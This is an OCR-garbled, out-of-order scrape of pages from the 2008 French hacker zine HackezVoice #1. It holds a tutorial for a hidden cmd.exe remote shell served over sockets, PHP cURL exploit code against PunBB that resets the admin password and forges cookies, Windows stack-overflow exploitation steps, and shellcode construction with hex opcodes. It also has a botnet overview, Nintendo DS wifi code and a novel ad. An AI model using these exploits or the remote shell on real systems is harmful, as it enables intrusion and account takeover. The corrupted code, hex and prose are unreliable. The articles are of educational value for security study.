138. standard de sortie mais aussi le flux d erreur au cas ou la commande entr e soit fausse car autrement nous ne ne verrions pas l erreur renvoy e par la console Une fois que ces deux fonctions sont lanc es elles redirigent les flux d entr s de notre programme vers la console et les flux de sortie et d erreur de la console vers notre programme et tout ceci travers nos deux pipes ame cba FU Tum LS La DU p Voici le r sultat pour Windows Vista HackezVoice 1 Octobre 2008 22 Remarque Sur les screenshots la fen tre DOS correspondant au process cmd exe que l on appelle est affich e pour bien montrer qu il est actif en t che de fond Bien s r dans le code source du dessus la fen tre sera cach e APPLICATION DE FACON DISTANTE Bon maintenant que l on sait rediriger des flux en local on va se faire plaisir o Ce qu on a fait est d j pas mal mais on va aller plus loin afin de mettre en pratique ce que l on vient d apprendre On va faire ca mais en remote en ajoutant la notion de reseau Pour cela nous allons r utiliser le code pr c dent en y ajoutant les sockets Le sch ma de tout l heure se pr sente donc maintenant comme ceci stant 86 22 Local 127 0 0 1 Notre programme redirectThis exe joue le de serveur sur la machine distante et coute sur le port 656 On la connection L 12 telnet Sch ma de redirec
139. t ches qu il mettrait beaucoup de temps Version mais ne sont pas pour autant jour r aliser de t te D un autre c t on se rend compte que les applications R F RENCES web sont parmis celles qui sont g n ralement la cible de pirates mal intentionn s cause de la facilit relatives http sektioneins de advisories SE 2008 01 txt pour les hackers de concevoir des exploits destin s ces Premier bulletin de s curit logiciels Les forums peuvent regorger d informations http www milwOrm com exploits 5165 tr s sensibles tels que des mots de passes de mem Exploit d origine post sur milwOrm bres ou encore les emails de ceux ci Certains forums PunBB sont fr quent s par des dizaines de milliers de personnes La prise de contr le de tels forums par des individus mal intentionn s peut tre la source de graves nttp punbb fr probl mes sous jacents Site de la communaut fran aise de PunBB PunBB a r agit tr s rapidement la d couverte de cette cur1 haxx se faille en mettant disposition d s les jours suivants une site officiel de cURL version corrig e http punbb org Site officiel de PunBB httpi tr php net ourl Documentation officielle de php sur cURL HackezVoice 1 Octobre 2008 56 HackezVoice 1 Octobre 2008 LES R SEAUX DE ROBOTS ACTION ET PREVENTION Val ry RASPLUS QU EST CE QU UN BOTNET Les botnets roBOT NETwork r seau de robots taient
140. t sur la fonction Et pour trouver l adresse de cette fonction rien de bien compliquer OllyDbg est encore l Fa E PLEH peP reu 4 tik ESP A AS FCU PIR SSIUEEFJ DFFSET pert ASCII Redirect bom du les f g LE LDULOPOG CALL EF Emari printi Jump fo pzintd Ca FETH nd Settings over c OVERCLOK Bureau hav EX Pour hzv par Qvercl k Overc1ok blogspot com VIC umeris Exploit 4 Ccreariomn du processus Proces5us cree wnz your sr ckzz Redirection du flux d execution du programme reussi Nous voil arriver la fin de cette partie exploitation Maintenant que vous vous tes amusez exploiter tout cela il est temps d avoir quelques bases concernant le coding de shellcode statique Cc HT3 Qu HDD EYTE 05 CEA AL Qu HDD EMTE PTE 05 LES E H Quo BYTE PTR 05 LEREJ RL Hex HDD PIR Dar CEER AL Caife Pie FEMME Fu LE CODING DE SHELLCODES BASIQUES STATIQUES Nous y voil afin d exploiter au mieux un d passement de tampon il est pr f rable de pouvoir ex cuter des ac tions de nos go ts existe plusieurs types de shellcodes les shellcodes dit statique les plus petits les shellcodes dit g n rique et les shellcodes polymorphiques 12 Cependant on trouve des shellcodes g n riques poly morphiques le polymorphisme n est qu
141. tine LGetProcAddress Edi contient l adresse absolue de la fonction LoadLibraryA Apr s la compilation du code assembleur pr c dent no tre OPCODE en d autres termes le rapport quivalent en yxeBR x5f uxOU xOUDTx53 F Y Eq Y rb g y a PE ME i Vic ns PRE Don NET ixeb Tva kanix665 xBENNOSIxAE UT RUIZ 3l I LT SEAT Yu BE E M k ON M MR R ES P hexad cimal afin d obtenir l adresse de la fonction LoadLi braryA correspond la string suivante Int Let PA RAT RE RCE AEN R O KEY 32 xeDixT4 Nw a ka Yb tim Te wauu D essais bixSaixmicixOlixebixBb xod EPI ETAT Le LT MAT 53 ITA m 87 15 D s lors arriv ce niveau du d veloppement nous pouvons dire que le plus dur est fait puisque le reste du code consiste simplement charger et ex cuter les fonctions n cessaires pour une commande arbitraire par exemple voire tablir un point de communication via un BindShell Nous garderons l esprit durant la programmation les registre Esi et Edi afin de solliciter les fonctions n cessaires Un exemple simple mais per
142. tinent de r daction d un ShellCode consiste solliciter la librairie Kernel32 toujours qui contient la fonction WinExec si pratique afin de lancer une commande NetStat an par exemple Ainsi nous allons utiliser la routine LGetProcAddress seule afin trouver notre fonction WinExec LoadLibraryA n tant d aucune utilit pour ce mod le nous pouvons omettre volontairement l appel si le coeur nous en dit Donc le code final sera de cet acabit nous vous livrons juste la finalit de la source le reste tant identique l exercice auparavant voqu push Base de la librairie Kernel32 push 0x e8afe98 Hash de WinExec call eax Call WinExec adresse dans Eax push Base de la libraine Kernel32 push 0x73e2d87e Hash de ExitProcess call esi Call LGetProc Address push byte 0 Push NULL argument ExitProccss call eax Call ExitProcess adresse dans call eax une deuxi me fois pour quitter Nous obtenons pour OPCODE le ShellCode sui vant afin de lancer une commande NetStat an en rouge figure la partie pr c dente concer nant l obtention de l entr e du Kernel32 dll Nous obtenons pour OPCODE le hel 2 ga ga ELE Lach T Wwe ICode suivant afin de lancer une Lux 554 caa xb La x1 x 2 mande NetStat an en rouge figured 7 AJADI INE x3lixffXufcixdglXixcO xac x 3B la partie pr c dente concernant 4 ei xcf aDd xDlimc7Xkebix
143. tion de flux standard distance R CAPITULATIF Notre programme de tout l heure se transforme donc en serveur Une fois que l on s y est connect on envoie les commandes dos Le serveur les recoit et les retransmet son tour la console windows via les pipes Les r ponses de la console sont redirig es vers le serveur qui nous renvoie les donn es Avec l ajout des sockets il y a donc une communication ajout e entre le serveur et le client mais la partie locale avec les pipes reste identique Voici le code de main avec les sockets les deux fonctions WriteThread et ReadThread ne changeant pas Lien vers source article redir flux c Pour se connecter au serveur on peut recoder un client ou utiliser telnet Il suffit alors de faire un telnet addrIP port pour se connecter l ordinateur d adresse IP addrIP o coute notre serveur redirectThis exe au port 666 par d faut Remarque Une source de cppfrance tr s d taill e permet de coder soit m me un client Elle est list e dans les liens ci dessous HackezVoice 1 Octobre 2008 23 Voil on va s arr ter l pour cet article Pour ceux qui souhaitent aller plus loin avec les pipes et la gestion des flux je conseille vivement l article de IvanlefOu sur son blog l adresse http www ivanlefOu tuxfamily org p 81 Je pr cise aussi qu il existe une autre mani re de se cr er un remote shell en bindant directement notre socket a
144. topt Sh CURLOPT POST 1 cur setapt Sh CURLOPT POSTFIELDS Set email postfields preg match mailta curl exec Sh Sm SADMIN MAIL Sm 1 Admin email Ainsi avec l adresse mail du compte administrateur le hacker r initialise par la m me m thode le mot de passe de ce dernier et profite par la m me occasion pour injecter des fausses informations enr gistr es dans un cookie fait maison afin d obtenir le cookie g n r e al atoirement par le logiciel Tke cookie rawurlencode serialize srias 0 gt 2 1 gt mdsSihackerzvoice WI Arel admam ema postes 1Tmplode amp bam sental reg emnils urleneode S ADMIN MAIL request pnsssEnvoyer Sh curl setopi Sh CURLOPT_URL SURL login php action forget 7 curl setapt Sh CURLOPT RETURNTRANSFER 1 curl seippiiSh COOKIE panbb cookie curl setaptiSh CURLOPT HEADER 1 curl setopt Sh CURLOPT POST 1 curl setapi Sh CURLOPT POSTFIELDS Geet admin email Geet Deldet s curl execi Shy D termination du cookie seed et de la graine du g n rateur de nombres al atoires L algorithme de d termination de ses informations se base sur les principes suivant de la requ te pr c dente celle ou le hacker avait in ject de fausses informations dans le cookie envoy au serveur on obtient un hash d un mot de passe al a toire envoy par PunBB Ce hash servira determ
145. u brotherder Ces ordinateurs seront donc utilis s la fois par l op rateur l gitime qui ignore totalement le parasitage et par le brotherder colocataire furtif Signalons qu un serveur ou un ordinateur peut tre contamin par plusieurs bro therders Ils peuvent soit cohabiter en bonne intelli gence dans la m me machine soit se discriminer entre eux en vu du monopole exclusif de cette machine Une guerre invisible se d roule peut tre en ce moment m me dans votre ordinateur sans que vous en ayez le moindre cho avec le risque potentiel de victimes col lat rales num riques 5 Ces botnets ne sont pour tant pas sans faiblesse il est possible de r cup rer un certain nombre de leurs donn s internes comme par exemple le nom du canal utilis le mot de passe du serveur source les param tres d authentification L arroseur arros verra son robot d tourn par un autre quasi similaire ou par un chasseur de botnets 6 L introduction peut se faire par l interm diaire d emails accompagn s de pi ces jointes contamin es Virus che val de Troie etc d ventuelles failles de logiciels ou de navigateurs Internet exploit s sur des sites Web pi g s dans le cas du P2P Peer to peer poste poste etc L ordinateur infect pourra alors se voir d tourn de ses fonctions premi res en envoyant ses destinataires des emails accompagn s de pi ces jointes infect es ou des liens Web p
146. ue notre shellcode soit trop grand pour tre mis sur la pile nous serions un peu bloqu avec notre ancien plan d attaque seulement voici un autre petit plan d attaque Nous al lons utiliser le second argument comme stockage de nos instructions ex cuter Nous ex cuterons seulement une simple INT 3 soit l opcode CC K a J J s on Argv 2 N aaaaaaaaaaaaaaaaaaaa xED x1E x95 x7C jmp sur l arov 2 OxCC pr sent nous devons rechercher notre chaine pass e en second argument et pour cela nous allons utiliser comme d habitude notre bon vieux OllyDbg Nous som mes donc partit du principe qu elle ne devait pas tre loin de la premi re Il suffit de tout simplement trac quelques instructions pour connaitre l emplacement du premier argument afin de regarder aux alentours si le second argument n tait pas la suite du premier Ensuite nous devons tre capables de sauter de la pile au second argument justement Pour cela c est tr s sim ple nous allons diter le code asm y placer notre JMP mais OllyDbg va lui m me calculer le d calage existant entres l adresse l instruction est crite et l instruction on sautera D taillons et illustrons un peu cela Voici un premier screenshot permettant de d terminer l adresse de notre second argument celui qui mov edi 2c86136d Psdeosse de WinEsec est hardcod remplacer sl n ccssabne contiendra not
147. ues zones d ombre notamment du c t du WEP La premi re chose faire c est de configurer le Wifi Cela se fait avec ce code REG IPC FIFO CR IPC ENABLE IPC FIFO SEND CLEAR u32 Wifi pais Wifi Imit WIFIINIT OPTION USELED REG IPC TX x 12345678 REG IPC FIFO TX Wifl pass volatile ul ad TE k irq nit k TIMER 1 Timer Enable IRO TIMERYE SS volatile ul 10K 6535F 65553 56 cycles mm ka volatile nl KK 72 U enable inq 17256 clock whik Wifi Cheeklnn 0 Wait Ce code initialise le lt driver gt qui est install dans l arm7 a partir de l arm9 et active entre autres la gestion des IRQs La boucle while est une boucle d attente qui ne se d bloquera qu une fois le composant wifi correctement initialis Il ne reste plus qu utiliser les routines wifi impl ment es via l arm9 et notamment exterm vord Wifi Disable Wifi y vos Wifi EnableWifi Hem vosd Wifi SerChannel n channel k On remarquera aussi une routine bien particuli re 1 WA Bas Cant Serb tee ROG LI a rule A bunt Aam mn reng dramma A tagad alert rate ui as zi Leger bieti A gigia short apa cnini dadas u ali
148. un shellcode incomplet copi dans la pile Voici quoi peux ressembler un shellcode trouv sur milwOrm 10 33 64 03 40 30 78 0 8 40 0 8 X70 x1C xAD x8B x40 x08 xEB x09 x8B x40 x34 x8D x40 x7C x8B x40 x3C Nous pouvons pr sent nous lancer dans l exploitation du code vuln rable apr s cette petite sensibilisation aux shellcodes qui seront abord s plus en d tails dans la partie III HackezVoice 1 Octobre 2008 Premi re exploitation Nous allons commencer par l exploitation la plus r a liste et la plus complexe Tous d abord nous devons trouver le nombre d octet a envoy pour d border et r crire la sauvegarde de EIP afin de faire plant le programme vuln exe aaaaaaaaaaaaaaaaaaaaBCDE amaa dec ege De Gem Moche urt risi Modver O 0 4 444 347 itas edu saga Ce reg rdom concemant F sdar bez ewe og maeri eu e amp t cur s peabierne Ly verzion Qu dime d esplotamioo el Testen efomimeae Banara Yote Product KO meeeg das d pe cre pour erer voire lacette du polecole brberrel de voip eui Mous ne demandons vweclontanemenk paz sos nom acerbe Schezze sechcorescus aire iane driom barah serve d unes Cependant opt eenz peur conben de
149. une volution des shellcodes qui a t cr er dans le but de bypasser les protections mises en place par les IDS 13 abr via tion de l anglais Intrusion Detection System Ceux ci ne seront pas abord s dans cet article On appel shellcode statique un shellcode qui va tre uti lisable sur une version de Windows pr cise on ne pourra l utilis autre part sauf exception car il est statique Les adresses des fonctions sont directement crites dans le shellcode contrairement un shellcode g n rique qui lui va se d brouiller seul afin de r cup rer l image base de kernerl32 dll puis parser la dll la recherche des fonctions GetProcAddress 14 et LoadLibrary 15 Notre r le est donc de coder votre action en asm en vi tant les nulls bytes C est pour cela qu il faut utiliser des instructions gale de pars leur action mais avec des opcodes diff rents petit exemple mov 0 C est deux instruction font m me chose mais poss de des opcodes diff rents Les techniques sont multiples et nombreuses seule votre imagination vous contraint En ce qui concerne les chaines de caract res je n ai pas exp rimenter de nombreuses techniques si ce n est que de pousser sur la pile dword par dword la chaine pas tr s pratique quand c est une grande chaine c est pour cela que je me suis coder un petit script perl pr sent dans l archive 7 Je vous propose alors deux petits s
150. uxueux aucun d bordement n est tol r A l inverse dans le niveau inf rieur d H caton tout est permis C est dans cette zone de non droit vivent un million et demi de personnes lais s es pour compte et priv es de la lumi re du jour que naquirent Demian et Ethan les deux fr res jumeaux h ros de notre r cit L un hacker de renom international et l autre lord du crime dans les bas fond d H caton Les deux fr res ne se parlent plus depuis des ann es mais leurs destins vont se retrouver de nouveau li s d s lors que Demian pose les pieds Rahi ville de Lybie notre h ros a rendez vous pour un piratage hors du commun projeter en 2070 apr s la a chang de visage et n est d ilots ayant chacun son HackezVoice 1 Octobre 2008 61 2070 les progr s technologiques ont chang la mani re d appr hender la vie au quotidien Th criquement la t l transportation devait rapprocher les hommes les uns des autres Mais ce nouvel outil parmi tant d autres n a fait que creuser le foss entre les individus de cette civilisation sur le d clin La race humaine s est concentr e dans quelques m galopoles fonctionnant en autarcie La temp rature mondiale a augment de 8 les eaux sont mont es et les peuples ne cessent de migrer La guerre est banalis e et la drogue coupl e aux m dias berce d illusion la majeure partie des populations P pr JET AUN s 4
151. vec les I O du processus cmd exe Cette technique marche mais elle est moins propre que d utiliser les pipes comme le pr conise la doc J esp re vous avoir apris des choses et vous dit bient t pour un prochain article Liens Compl ment d informations sur les flux standards http fr wikipedia org wiki Flux standard Compl ment d informations sur les pipes http www ivanlefOu tuxfamily org p 81 http msdn2 microsoft com en us library aa365780 VS 85 aspx Programmation avec les sockets en C http www siteduzero com tuto 3 16131 1 manipulation de sockets html http www cppfrance com codes EXEMPLE CONNEXION CLIENT SERVEUR TCP 24791 aspx HackezVoice 1 Octobre 2008 24 LES STACKS OVERFLOWS OverclOck n retrouve de plus en plus d exploits bas sur des buffers overflow sur le net Cependant l exploitation de ces derniers est parfois difficile notamment sous les syst mes Windows qui mettent en place diff rentes protections natives afin de prot ger l utilisateur Ce document pour but de pr senter l exploitation des buffer overflow dans la pile sous Windows Il se veut le plus complet possible et accessible tous c est pour quoi la premi re partie reprendra les bases en d crivant le fonctionnement de la pile comment est r alis e son initialisation la mani re dont elle alloue et lib re de la m moire puis son r le dans les appels de fonctions La
Download Pdf Manuals
Related Search
Related Contents
Epson 76c Warranty Statement Moving Wash 7X10 Speed Satellite A665 com NVIDIA® 3D ViaLiteHD RF Support Module User Manual (HRS-HB-6) LC-40LE240E Operation-Manual FR 入札監理小委員会 第335回議事録 EUPHORIA 3G Hama ROC 5112 Netbook Banghó FIT 1013 myUTN User Manual Windows Copyright © All rights reserved.
Failed to retrieve file